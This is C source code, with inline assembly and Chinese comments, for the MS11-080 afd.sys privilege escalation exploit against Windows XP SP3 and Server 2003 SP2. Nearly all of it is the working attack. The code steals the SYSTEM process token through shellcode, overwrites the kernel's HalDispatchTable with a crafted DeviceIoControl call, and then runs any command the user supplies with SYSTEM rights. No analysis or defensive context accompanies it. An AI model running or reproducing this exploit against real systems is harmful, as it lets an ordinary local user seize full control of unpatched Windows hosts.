MS11080 Exploit
/*
* MS11-080 Afd.sys Privilege Escalation Exploit
* 来源：Matteo Memelli，[url]http://www.exploit-db.com/exploits/18176/[/url]
* 改编：KiDebug，[email]Google@pku.edu.cn[/email]
* 编译：VC6.0
* 测试环境：原版Windows XP SP3，Windows 2003 SP2，普通用户
*/
#include <stdio.h>
#include <Winsock2.h>
#include <winbase.h>
#include <windows.h>
#pragma comment (lib, "ws2_32.lib")
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section; // Not filled in
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );
NtQueryIntervalProfile_ NtQueryIntervalProfile;
NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
NtQuerySystemInformation_ NtQuerySystemInformation;
ULONG PsInitialSystemProcess, PsReferencePrimaryToken, PsGetThreadProcess, WriteToHalDispatchTable;
void _declspec(naked) ShellCode()
{
__asm
{
pushad
pushfd
mov esi,PsReferencePrimaryToken
FindTokenOffset:
lodsb
cmp al, 8Dh;
jnz FindTokenOffset
mov edi,[esi+1]
mov esi,PsInitialSystemProcess
mov esi,[esi]
push fs:[124h]
mov eax,PsGetThreadProcess
call eax
add esi, edi
add edi, eax
movsd
popfd
popad
ret
}
}
void main(int argc, char **argv)
{
if (argc != 3)
{
printf("--------------------------------------\n");
printf("Usage : ms11-080.exe cmd.exe Command \n");
exit(-1);
}
HMODULE ntdll = GetModuleHandle( "ntdll.dll" );
NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );
NtQuerySystemInformation = ( NtQuerySystemInformation_ )GetProcAddress( ntdll ,"NtQuerySystemInformation" );
if ( NtQueryIntervalProfile == NULL || NtAllocateVirtualMemory == NULL || NtQuerySystemInformation == NULL )
return;
ULONG BaseAddress = 1 , RegionSize = 0x1000, status;
status = NtAllocateVirtualMemory( (HANDLE)0xFFFFFFFF, (PVOID*)&BaseAddress, 0, &RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if ( status )
return;
//取ntoskrnl的信息，只要调用一次就行
ULONG NtoskrnlBase;
RTL_PROCESS_MODULES module;
status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11
if ( status != 0xC0000004 ) //STATUS_INFO_LENGTH_MISMATCH
return;
NtoskrnlBase = (ULONG)module.Modules[0].ImageBase;
//把ntoskrnl.exe加载进来
HMODULE ntoskrnl;
ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );
if ( ntoskrnl == NULL )
return;
//计算实际地址
WriteToHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4 + 2; //需要覆盖的地址
PsInitialSystemProcess = (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;
PsGetThreadProcess = (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
//以下代码就各显神通了
if ( VirtualAlloc( (PVOID)0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ) == NULL )
return;
memset((PVOID)0x02070000,0x90,0x20000);
memcpy((PVOID)0x02080000,ShellCode,100);
WSADATA ws;
SOCKET tcp_socket;
struct sockaddr_in peer;
ULONG dwReturnSize;
WSAStartup(0x0202,&ws);
peer.sin_family = AF_INET;
peer.sin_port = htons(4455);
peer.sin_addr.s_addr = inet_addr( "127.0.0.1" );
tcp_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) )
{
//printf("connect error\n");
}
UCHAR buf1[26]= "\x41\x41\x41\x41\x42\x42\x42\x42\x00\x00\x00\x00\x44\x44\x44\x44\x01\x00\x00\x00\xe8\x00\x34\xf0\x00";
memset((PVOID)0x1000,0x45,0x108);
memcpy((PVOID)0x1000,buf1,25);
if(!DeviceIoControl((HANDLE)tcp_socket,0x000120bb, (PVOID)0x1004, 0x108, (PVOID)WriteToHalDispatchTable, 0x0,&dwReturnSize, NULL))
{
//printf("error=%d\n", GetLastError());
}
//触发，弹出SYSTEM的CMD
NtQueryIntervalProfile( 2, &status );
printf("[>] ms11-080 Exploit\n");
printf("[>] by:Mer4en7y@90sec.org\n");
SECURITY_ATTRIBUTES sa;
HANDLE hWrite,hRead;
STARTUPINFO si;
PROCESS_INFORMATION pi;
char buf[4096];
DWORD dwReadBytes;
char lpcmd[256]={0};
ZeroMemory(buf,4096);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
if(!CreatePipe(&hRead,&hWrite,&sa,0))
{
printf("[>] create pipe error\n");
}
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
strcat(lpcmd,"/c ");
strcat(lpcmd,argv[2]);
if(!CreateProcess(argv[1],lpcmd,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi))
{
printf("[>] create porcess error\n");
}
CloseHandle(hWrite);
while(dwReadBytes!=0)
{
WriteFile(hWrite,"test1",6,&dwReadBytes,NULL);
ZeroMemory(buf,4096);
ReadFile(hRead,buf,4096,&dwReadBytes,NULL);
printf("%s\n",buf);
}
return;
}
姓名：Chinadu
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